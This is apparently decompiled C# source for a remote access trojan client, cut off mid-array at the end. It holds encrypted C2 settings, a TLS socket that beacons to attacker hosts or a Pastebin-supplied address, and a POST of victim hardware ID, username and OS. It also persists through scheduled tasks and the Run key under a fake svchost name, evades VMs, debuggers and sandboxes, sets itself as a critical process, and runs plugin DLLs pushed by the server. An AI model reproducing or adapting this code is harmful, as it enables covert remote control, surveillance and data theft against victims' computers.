		public static string Ports = "EFyY4THWbqUeGbv9bPt4DzDpfpPcnSglPxH5wBg/p+yfbCJXi6DdG+gUpYA/rSo5Diz7cZn8i1bc1c0LZmnCmA==";

		public static string Hosts = "GNpqWdF1lN3sEAD8+Ln3pV/J1PYAxn7LkSffTqpkaHYThEKPwqpWPeOCSk2bKx6X/CM+Ai22hVGXzFgw9XH5CQ==";

		public static string Version = "JLdrk3fAZbSOCVYQSS9HPoCZPzfUNee/YuYDVYcnh9SyQYBMZfwzZg0qypHML7rEi7dmPnnjOHNxWoy4gP+ZNA==";

		public static string Install = "t6ZvwT4+WFLnnFRiCfLQxXFLiD4uSsaBRFUayPVrIUZjYQ7ji8HrXrhodPCMQ7QB8f0O1MR1vYI0skOx/mAegA==";

		public static string InstallFolder = "%AppData%";

		public static string InstallFile = "svchost_update.exe";

		public static string Key = "WHhDc1pCeDN1YnhZUHd3M0ZmNXdOdWpTNmZFVGM0aWE=";

		public static string MTX = "J8hRcxKEv7jG3DRX8MNdEgL7jSSF04b8QR//XH4RZXd8ONxsIz3RXWNo/D4Y206d1/LnAPgKNfKurpRz1ZOonw==";

		public static string Certificate = "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";

		public static string Serversignature = "WmgZX0nfFRme3VA/+i/j3UPIyrapUwm/3Uz0xQBbAKiwhasivJWAfPCS7rWiKFlL2fepeQ4Qh+REqrb5GFkvsu4n6vTd6H3S8PmCRI0POop2ZeI/Q8ubuK+HODDVmSngZd27dZY5zAxbVH53meNVE/MnlJ3597/Fcmqt4SabaF8GgGCjpwzFC1DxMZImfspF/UGe5zoOWric0Djkk9X0pHbTjnYyJ14sPm6p5CWnKHxQYX8+IaGNzkB9u6niURbsuHdW2aU8bcrJTBws1VZ6BHy+9OpzYoq7hoFDMiqt6v/ddJfk+Lz9yzcSMZeT2L7reCN6VMldXWvQVE/h56IlsLEyo7zW/ShNZ0KA+EKhmCKFt678bUXv5bjWaOw5MJZ266lFN3SKRvOuKfegkZuxaLEOsZs7VwtbfKF1TOPJ7/fjLII1LIj4LhNTu2Ok1moJkZ3NU7e98u7/ZNfDnjKQ/YnDqaAZN5pUkD/AswEahFj5olOpDTmxAP+ZsrPxnTQpvhYl6dkdI016tBJXXbbHuOrth6Hq2qEietWLk/gAYankfShULPoPFjgjpDDLvw9UORZKeVzH0pFLosUW5lSqhFu6uHpvIEHyjPZkmOKt2oeHhCfDb13SwESS/cxL45YpYT8JNXUfimETw9QojzR48oDuJGziAUwLOnXh2gPIyyHXoDItBk/D7l6zK8bRXglpwO5GU1IOanElySOz2aIrRSxNZrFbNsJW68ZZzz1kxW42o16DPbMHWafLTckSnsO97FpDJ8zHHir4xqk9mH+EIDvWDrY/G7FDoDXlhWC/6wOpUsDcGFlUk35HM/j3QGcPlWz3xdsLVjWogzR3bQWY1Wf2vhSLcmOhJOYatHuFsFWGLqEfmNJLJ7k/5hkeCZnl1qJyWxC2Tbk5mRrhb5adA6p0olq9+l1zdfRilf21XuLHvU8TAx2JKpPwBFRR4gI6hPin8IRvdZkwmaR0ExCOgw==";

		public static X509Certificate2 ServerCertificate;

		public static string Anti = "+POQeW3tcX7sNM9vmrBxKQ70/c3JuB40RfRbnkL6QFoypbRZFIPdIVpWXEcyfn1bAtahjM1+QHcr7zkQpqWAqw==";

		public static Aes256 aes256;

		public static string Pastebin = "X4ChfW7bL3KxExKZibhPWvC7/Ncic8ulFaVGdgPQ5Rra7qabp+1f4lLC1VbyJHWQP/53jrxvr893utSfxv5k6Q==";

		public static string BDOS = "F9zoazWvyxDWbasjPy94NgQf4r0R/zW4RI3DxQg2AKs1iGh43i6a0SQ6M874qd2Bq45JJzhdetG7x3bvKrMPOA==";

		public static string Hwid = null;

		public static string Delay = "3";

		public static string Group = "c535Ess8ebv/yHSfpdPHGYMCTQkSQRsqliBlUbsAoRztHklFG+NMoXunMaDPbNVbZ5uhSxIK3TCuklMfUcjL/Q==";

		public static bool InitializeSettings()
		{
			try
			{
				Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
				aes256 = new Aes256(Key);
				Ports = aes256.Decrypt(Ports);
				Hosts = aes256.Decrypt(Hosts);
				Version = aes256.Decrypt(Version);
				Install = aes256.Decrypt(Install);
				MTX = aes256.Decrypt(MTX);
				Pastebin = aes256.Decrypt(Pastebin);
				Anti = aes256.Decrypt(Anti);
				BDOS = aes256.Decrypt(BDOS);
				Group = aes256.Decrypt(Group);
				Hwid = HwidGen.HWID();
				Serversignature = aes256.Decrypt(Serversignature);
				ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
				return VerifyHash();
			}
			catch
			{
				return false;
			}
		}

		private static bool VerifyHash()
		{
			try
			{
				return ((RSACryptoServiceProvider)ServerCertificate.PublicKey.Key).VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Serversignature));
			}
			catch (Exception)
			{
				return false;
			}
		}
	}
}
namespace Client.Connection
{
	public static class ClientSocket
	{
		public static Socket TcpClient { get; set; }

		public static SslStream SslClient { get; set; }

		private static byte[] Buffer { get; set; }

		private static long HeaderSize { get; set; }

		private static long Offset { get; set; }

		private static Timer KeepAlive { get; set; }

		public static bool IsConnected { get; set; }

		private static object SendSync { get; } = new object();


		private static Timer Ping { get; set; }

		public static int Interval { get; set; }

		public static bool ActivatePong { get; set; }

		public static void InitializeClient()
		{
			try
			{
				TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
				{
					ReceiveBufferSize = 51200,
					SendBufferSize = 51200
				};
				if (Settings.Pastebin == "null")
				{
					string text = Settings.Hosts.Split(new char[1] { ',' })[new Random().Next(Settings.Hosts.Split(new char[1] { ',' }).Length)];
					int port = Convert.ToInt32(Settings.Ports.Split(new char[1] { ',' })[new Random().Next(Settings.Ports.Split(new char[1] { ',' }).Length)]);
					if (IsValidDomainName(text))
					{
						PostDataToDomain(text);
						IPAddress[] hostAddresses = Dns.GetHostAddresses(text);
						foreach (IPAddress address in hostAddresses)
						{
							try
							{
								TcpClient.Connect(address, port);
								if (TcpClient.Connected)
								{
									break;
								}
							}
							catch
							{
							}
						}
					}
					else
					{
						TcpClient.Connect(text, port);
					}
				}
				else
				{
					using WebClient webClient = new WebClient();
					NetworkCredential credentials = new NetworkCredential("", "");
					webClient.Credentials = credentials;
					string[] array = webClient.DownloadString(Settings.Pastebin).Split(new string[1] { ":" }, StringSplitOptions.None);
					Settings.Hosts = array[0];
					Settings.Ports = array[new Random().Next(1, array.Length)];
					TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
				}
				if (TcpClient.Connected)
				{
					IsConnected = true;
					SslClient = new SslStream(new NetworkStream(TcpClient, ownsSocket: true), leaveInnerStreamOpen: false, ValidateServerCertificate);
					SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(new char[1] { ':' })[0], null, SslProtocols.Tls, checkCertificateRevocation: false);
					HeaderSize = 4L;
					Buffer = new byte[HeaderSize];
					Offset = 0L;
					Send(IdSender.SendInfo());
					Interval = 0;
					ActivatePong = false;
					KeepAlive = new Timer(KeepAlivePacket, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));
					Ping = new Timer(Pong, null, 1, 1);
					SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
				}
				else
				{
					IsConnected = false;
				}
			}
			catch
			{
				IsConnected = false;
			}
		}

		private static bool IsValidDomainName(string name)
		{
			return Uri.CheckHostName(name) != UriHostNameType.Unknown;
		}

		private static void PostDataToDomain(string domain)
		{
			try
			{
				using WebClient webClient = new WebClient();
				NameValueCollection data = new NameValueCollection
				{
					{
						"hwid",
						Settings.Hwid
					},
					{
						"user",
						Environment.UserName
					},
					{
						"os",
						Environment.OSVersion.ToString()
					},
					{
						"version",
						Settings.Version
					},
					{
						"group",
						Settings.Group
					}
				};
				webClient.UploadValues("http://" + domain + "/", "POST", data);
			}
			catch
			{
			}
		}

		private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
		{
			return Settings.ServerCertificate.Equals(certificate);
		}

		public static void Reconnect()
		{
			try
			{
				SslClient?.Dispose();
				TcpClient?.Dispose();
				Ping?.Dispose();
				KeepAlive?.Dispose();
			}
			catch
			{
			}
			IsConnected = false;
		}

		public static void ReadServertData(IAsyncResult ar)
		{
			try
			{
				if (!TcpClient.Connected || !IsConnected)
				{
					IsConnected = false;
					return;
				}
				int num = SslClient.EndRead(ar);
				if (num > 0)
				{
					Offset += num;
					HeaderSize -= num;
					if (HeaderSize == 0L)
					{
						HeaderSize = BitConverter.ToInt32(Buffer, 0);
						if (HeaderSize > 0)
						{
							Offset = 0L;
							Buffer = new byte[HeaderSize];
							while (HeaderSize > 0)
							{
								int num2 = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
								if (num2 <= 0)
								{
									IsConnected = false;
									return;
								}
								Offset += num2;
								HeaderSize -= num2;
								if (HeaderSize < 0)
								{
									IsConnected = false;
									return;
								}
							}
							new Thread(Packet.Read).Start(Buffer);
							Offset = 0L;
							HeaderSize = 4L;
							Buffer = new byte[HeaderSize];
						}
						else
						{
							HeaderSize = 4L;
							Buffer = new byte[HeaderSize];
							Offset = 0L;
						}
					}
					else if (HeaderSize < 0)
					{
						IsConnected = false;
						return;
					}
					SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
				}
				else
				{
					IsConnected = false;
				}
			}
			catch
			{
				IsConnected = false;
			}
		}

		public static void Send(byte[] msg)
		{
			lock (SendSync)
			{
				try
				{
					if (!IsConnected)
					{
						return;
					}
					byte[] bytes = BitConverter.GetBytes(msg.Length);
					TcpClient.Poll(-1, SelectMode.SelectWrite);
					SslClient.Write(bytes, 0, bytes.Length);
					if (msg.Length > 1000000)
					{
						using (MemoryStream memoryStream = new MemoryStream(msg))
						{
							int num = 0;
							memoryStream.Position = 0L;
							byte[] array = new byte[50000];
							while ((num = memoryStream.Read(array, 0, array.Length)) > 0)
							{
								TcpClient.Poll(-1, SelectMode.SelectWrite);
								SslClient.Write(array, 0, num);
								SslClient.Flush();
							}
							return;
						}
					}
					TcpClient.Poll(-1, SelectMode.SelectWrite);
					SslClient.Write(msg, 0, msg.Length);
					SslClient.Flush();
				}
				catch
				{
					IsConnected = false;
				}
			}
		}

		public static void KeepAlivePacket(object obj)
		{
			try
			{
				MsgPack msgPack = new MsgPack();
				msgPack.ForcePathObject("Packet").AsString = "Ping";
				msgPack.ForcePathObject("Message").AsString = Methods.GetActiveWindowTitle();
				Send(msgPack.Encode2Bytes());
				GC.Collect();
				ActivatePong = true;
			}
			catch
			{
			}
		}

		private static void Pong(object obj)
		{
			try
			{
				if (ActivatePong && IsConnected)
				{
					Interval++;
				}
			}
			catch
			{
			}
		}
	}
}
namespace Client.Install
{
	internal class NormalStartup
	{
		public static void Install()
		{
			try
			{
				FileInfo fileInfo = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile));
				string fileName = Process.GetCurrentProcess().MainModule.FileName;
				if (!(fileName != fileInfo.FullName))
				{
					return;
				}
				Process[] processes = Process.GetProcesses();
				foreach (Process process in processes)
				{
					try
					{
						if (process.MainModule.FileName == fileInfo.FullName)
						{
							process.Kill();
						}
					}
					catch
					{
					}
				}
				if (Methods.IsAdmin())
				{
					ProcessStartInfo processStartInfo = new ProcessStartInfo();
					processStartInfo.FileName = "cmd";
					processStartInfo.Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn \"" + Path.GetFileNameWithoutExtension(fileInfo.Name) + "\" /tr '\"" + fileInfo.FullName + "\"' & exit";
					processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
					processStartInfo.CreateNoWindow = true;
					Process.Start(processStartInfo);
				}
				else
				{
					using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Strings.StrReverse("\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree);
					registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\"");
				}
				if (File.Exists(fileInfo.FullName))
				{
					File.Delete(fileInfo.FullName);
					Thread.Sleep(1000);
				}
				FileStream fileStream = new FileStream(fileInfo.FullName, FileMode.CreateNew);
				byte[] array = File.ReadAllBytes(fileName);
				fileStream.Write(array, 0, array.Length);
				Methods.ClientOnExit();
				string text = Path.GetTempFileName() + ".bat";
				using (StreamWriter streamWriter = new StreamWriter(text))
				{
					streamWriter.WriteLine("@echo off");
					streamWriter.WriteLine("timeout 3 > NUL");
					streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\"");
					streamWriter.WriteLine("CD " + Path.GetTempPath());
					streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");
				}
				Process.Start(new ProcessStartInfo
				{
					FileName = text,
					CreateNoWindow = true,
					ErrorDialog = false,
					UseShellExecute = false,
					WindowStyle = ProcessWindowStyle.Hidden
				});
				Environment.Exit(0);
			}
			catch (Exception)
			{
			}
		}
	}
}
namespace Client.Helper
{
	internal class Anti_Analysis
	{
		public static void RunAntiAnalysis()
		{
			if (DetectManufacturer() || DetectDebugger() || DetectSandboxie() || IsSmallDisk() || IsXP())
			{
				Environment.FailFast(null);
			}
		}

		private static bool IsSmallDisk()
		{
			try
			{
				long num = 61000000000L;
				if (new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize <= num)
				{
					return true;
				}
			}
			catch
			{
			}
			return false;
		}

		private static bool IsXP()
		{
			//IL_0000: Unknown result type (might be due to invalid IL or missing references)
			try
			{
				if (new ComputerInfo().OSFullName.ToLower().Contains("xp"))
				{
					return true;
				}
			}
			catch
			{
			}
			return false;
		}

		private static bool DetectManufacturer()
		{
			//IL_0005: Unknown result type (might be due to invalid IL or missing references)
			//IL_000b: Expected O, but got Unknown
			try
			{
				ManagementObjectSearcher val = new ManagementObjectSearcher("Select * from Win32_ComputerSystem");
				try
				{
					ManagementObjectCollection val2 = val.Get();
					try
					{
						ManagementObjectEnumerator enumerator = val2.GetEnumerator();
						try
						{
							while (enumerator.MoveNext())
							{
								ManagementBaseObject current = enumerator.Current;
								string text = current["Manufacturer"].ToString().ToLower();
								if ((text == "microsoft corporation" && current["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) || text.Contains("vmware") || current["Model"].ToString() == "VirtualBox")
								{
									return true;
								}
							}
						}
						finally
						{
							((IDisposable)enumerator)?.Dispose();
						}
					}
					finally
					{
						((IDisposable)val2)?.Dispose();
					}
				}
				finally
				{
					((IDisposable)val)?.Dispose();
				}
			}
			catch
			{
			}
			return false;
		}

		private static bool DetectDebugger()
		{
			bool isDebuggerPresent = false;
			try
			{
				NativeMethods.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
				return isDebuggerPresent;
			}
			catch
			{
				return isDebuggerPresent;
			}
		}

		private static bool DetectSandboxie()
		{
			try
			{
				if (NativeMethods.GetModuleHandle("SbieDll.dll").ToInt32() != 0)
				{
					return true;
				}
				return false;
			}
			catch
			{
				return false;
			}
		}
	}
	public static class HwidGen
	{
		public static string HWID()
		{
			try
			{
				return GetHash(string.Concat(Environment.ProcessorCount, Environment.UserName, Environment.MachineName, Environment.OSVersion, new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize));
			}
			catch
			{
				return "Err HWID";
			}
		}

		public static string GetHash(string strToHash)
		{
			MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
			byte[] bytes = Encoding.ASCII.GetBytes(strToHash);
			bytes = mD5CryptoServiceProvider.ComputeHash(bytes);
			StringBuilder stringBuilder = new StringBuilder();
			byte[] array = bytes;
			foreach (byte b in array)
			{
				stringBuilder.Append(b.ToString("x2"));
			}
			return stringBuilder.ToString().Substring(0, 20).ToUpper();
		}
	}
	public static class IdSender
	{
		public static byte[] SendInfo()
		{
			//IL_0054: Unknown result type (might be due to invalid IL or missing references)
			MsgPack msgPack = new MsgPack();
			msgPack.ForcePathObject("Packet").AsString = "ClientInfo";
			msgPack.ForcePathObject("HWID").AsString = Settings.Hwid;
			msgPack.ForcePathObject("User").AsString = Environment.UserName.ToString();
			msgPack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
			msgPack.ForcePathObject("Path").AsString = Application.ExecutablePath;
			msgPack.ForcePathObject("Version").AsString = Settings.Version;
			msgPack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower()
				.Replace("true", "Admin")
				.Replace("false", "User");
			msgPack.ForcePathObject("Performance").AsString = Methods.GetActiveWindowTitle();
			msgPack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
			msgPack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
			msgPack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
			msgPack.ForcePathObject("Pong").AsString = "";
			msgPack.ForcePathObject("Group").AsString = Settings.Group;
			return msgPack.Encode2Bytes();
		}
	}
	public static class Methods
	{
		public static bool IsAdmin()
		{
			return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
		}

		public static void ClientOnExit()
		{
			try
			{
				if (Convert.ToBoolean(Settings.BDOS) && IsAdmin())
				{
					ProcessCritical.Exit();
				}
				MutexControl.CloseMutex();
				ClientSocket.SslClient?.Close();
				ClientSocket.TcpClient?.Close();
			}
			catch
			{
			}
		}

		public static string Antivirus()
		{
			//IL_0019: Unknown result type (might be due to invalid IL or missing references)
			//IL_001f: Expected O, but got Unknown
			try
			{
				ManagementObjectSearcher val = new ManagementObjectSearcher("\\\\" + Environment.MachineName + "\\root\\SecurityCenter2", "Select * from AntivirusProduct");
				try
				{
					List<string> list = new List<string>();
					ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
					try
					{
						while (enumerator.MoveNext())
						{
							ManagementBaseObject current = enumerator.Current;
							list.Add(current["displayName"].ToString());
						}
					}
					finally
					{
						((IDisposable)enumerator)?.Dispose();
					}
					if (list.Count == 0)
					{
						return "N/A";
					}
					return string.Join(", ", list.ToArray());
				}
				finally
				{
					((IDisposable)val)?.Dispose();
				}
			}
			catch
			{
				return "N/A";
			}
		}

		public static ImageCodecInfo GetEncoder(ImageFormat format)
		{
			//IL_000f: Unknown result type (might be due to invalid IL or missing references)
			//IL_0015: Expected O, but got Unknown
			ImageCodecInfo[] imageDecoders = ImageCodecInfo.GetImageDecoders();
			foreach (ImageCodecInfo val in imageDecoders)
			{
				if (val.FormatID == format.Guid)
				{
					return val;
				}
			}
			return null;
		}

		public static void PreventSleep()
		{
			try
			{
				NativeMethods.SetThreadExecutionState((NativeMethods.EXECUTION_STATE)2147483651u);
			}
			catch
			{
			}
		}

		public static string GetActiveWindowTitle()
		{
			try
			{
				StringBuilder stringBuilder = new StringBuilder(256);
				if (NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), stringBuilder, 256) > 0)
				{
					return stringBuilder.ToString();
				}
			}
			catch
			{
			}
			return "";
		}
	}
	public static class MutexControl
	{
		public static Mutex currentApp;

		public static bool CreateMutex()
		{
			currentApp = new Mutex(initiallyOwned: false, Settings.MTX, out var createdNew);
			return createdNew;
		}

		public static void CloseMutex()
		{
			if (currentApp != null)
			{
				currentApp.Close();
				currentApp = null;
			}
		}
	}
	public static class NativeMethods
	{
		public enum EXECUTION_STATE : uint
		{
			ES_CONTINUOUS = 2147483648u,
			ES_DISPLAY_REQUIRED = 2u,
			ES_SYSTEM_REQUIRED = 1u
		}

		[DllImport("user32.dll")]
		public static extern IntPtr GetForegroundWindow();

		[DllImport("user32.dll")]
		public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

		[DllImport("kernel32.dll")]
		public static extern IntPtr GetModuleHandle(string lpModuleName);

		[DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)]
		public static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);

		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);

		[DllImport("ntdll.dll", SetLastError = true)]
		public static extern void RtlSetProcessIsCritical(uint v1, uint v2, uint v3);
	}
	public static class ProcessCritical
	{
		public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
		{
			if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
			{
				Exit();
			}
		}

		public static void Set()
		{
			//IL_0007: Unknown result type (might be due to invalid IL or missing references)
			//IL_0011: Expected O, but got Unknown
			try
			{
				SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
				Process.EnterDebugMode();
				NativeMethods.RtlSetProcessIsCritical(1u, 0u, 0u);
			}
			catch
			{
			}
		}

		public static void Exit()
		{
			try
			{
				NativeMethods.RtlSetProcessIsCritical(0u, 0u, 0u);
			}
			catch
			{
				while (true)
				{
					Thread.Sleep(100000);
				}
			}
		}
	}
	public static class SetRegistry
	{
		private static readonly string ID = "Software\\" + Settings.Hwid;

		public static bool SetValue(string name, byte[] value)
		{
			try
			{
				using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree);
				registryKey.SetValue(name, value, RegistryValueKind.Binary);
				return true;
			}
			catch (Exception ex)
			{
				Packet.Error(ex.Message);
			}
			return false;
		}

		public static byte[] GetValue(string value)
		{
			try
			{
				using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(ID);
				return (byte[])registryKey.GetValue(value);
			}
			catch (Exception ex)
			{
				Packet.Error(ex.Message);
			}
			return null;
		}

		public static bool DeleteValue(string name)
		{
			try
			{
				using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(ID);
				registryKey.DeleteValue(name);
				return true;
			}
			catch (Exception ex)
			{
				Packet.Error(ex.Message);
			}
			return false;
		}

		public static bool DeleteSubKey()
		{
			try
			{
				using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("", writable: true);
				registryKey.DeleteSubKeyTree(ID);
				return true;
			}
			catch (Exception ex)
			{
				Packet.Error(ex.Message);
			}
			return false;
		}
	}
}
namespace Client.Handle_Packet
{
	public static class Packet
	{
		public static List<MsgPack> Packs = new List<MsgPack>();

		public static void Read(object data)
		{
			try
			{
				MsgPack msgPack = new MsgPack();
				msgPack.DecodeFromBytes((byte[])data);
				switch (msgPack.ForcePathObject("Packet").AsString)
				{
				case "pong":
				{
					ClientSocket.ActivatePong = false;
					MsgPack msgPack3 = new MsgPack();
					msgPack3.ForcePathObject("Packet").SetAsString("pong");
					msgPack3.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval);
					ClientSocket.Send(msgPack3.Encode2Bytes());
					ClientSocket.Interval = 0;
					break;
				}
				case "plugin":
					try
					{
						if (SetRegistry.GetValue(msgPack.ForcePathObject("Dll").AsString) == null)
						{
							Packs.Add(msgPack);
							MsgPack msgPack2 = new MsgPack();
							msgPack2.ForcePathObject("Packet").SetAsString("sendPlugin");
							msgPack2.ForcePathObject("Hashes").SetAsString(msgPack.ForcePathObject("Dll").AsString);
							ClientSocket.Send(msgPack2.Encode2Bytes());
						}
						else
						{
							Invoke(msgPack);
						}
						break;
					}
					catch (Exception ex)
					{
						Error(ex.Message);
						break;
					}
				case "savePlugin":
					SetRegistry.SetValue(msgPack.ForcePathObject("Hash").AsString, msgPack.ForcePathObject("Dll").GetAsBytes());
					{
						foreach (MsgPack item in Packs.ToList())
						{
							if (item.ForcePathObject("Dll").AsString == msgPack.ForcePathObject("Hash").AsString)
							{
								Invoke(item);
								Packs.Remove(item);
							}
						}
						break;
					}
				}
			}
			catch (Exception ex2)
			{
				Error(ex2.Message);
			}
		}

		private static void Invoke(MsgPack unpack_msgpack)
		{
			dynamic val = Activator.CreateInstance(AppDomain.CurrentDomain.Load(Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))).GetType("Plugin.Plugin"));
			val.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);
			Received();
		}

		private static void Received()
		{
			MsgPack msgPack = new MsgPack();
			msgPack.ForcePathObject("Packet").AsString = "Received";
			ClientSocket.Send(msgPack.Encode2Bytes());
			Thread.Sleep(1000);
		}

		public static void Error(string ex)
		{
			MsgPack msgPack = new MsgPack();
			msgPack.ForcePathObject("Packet").AsString = "Error";
			msgPack.ForcePathObject("Error").AsString = ex;
			ClientSocket.Send(msgPack.Encode2Bytes());
		}
	}
}
namespace Client.Algorithm
{
	public class Aes256
	{
		private const int KeyLength = 32;

		private const int AuthKeyLength = 64;

		private const int IvLength = 16;

		private const int HmacSha256Length = 32;

		private readonly byte[] _key;

		private readonly byte[] _authKey;

		private static readonly byte[] Salt = new byte[32]
		{
			191, 235, 30, 86, 251, 205, 151, 59, 178, 25,
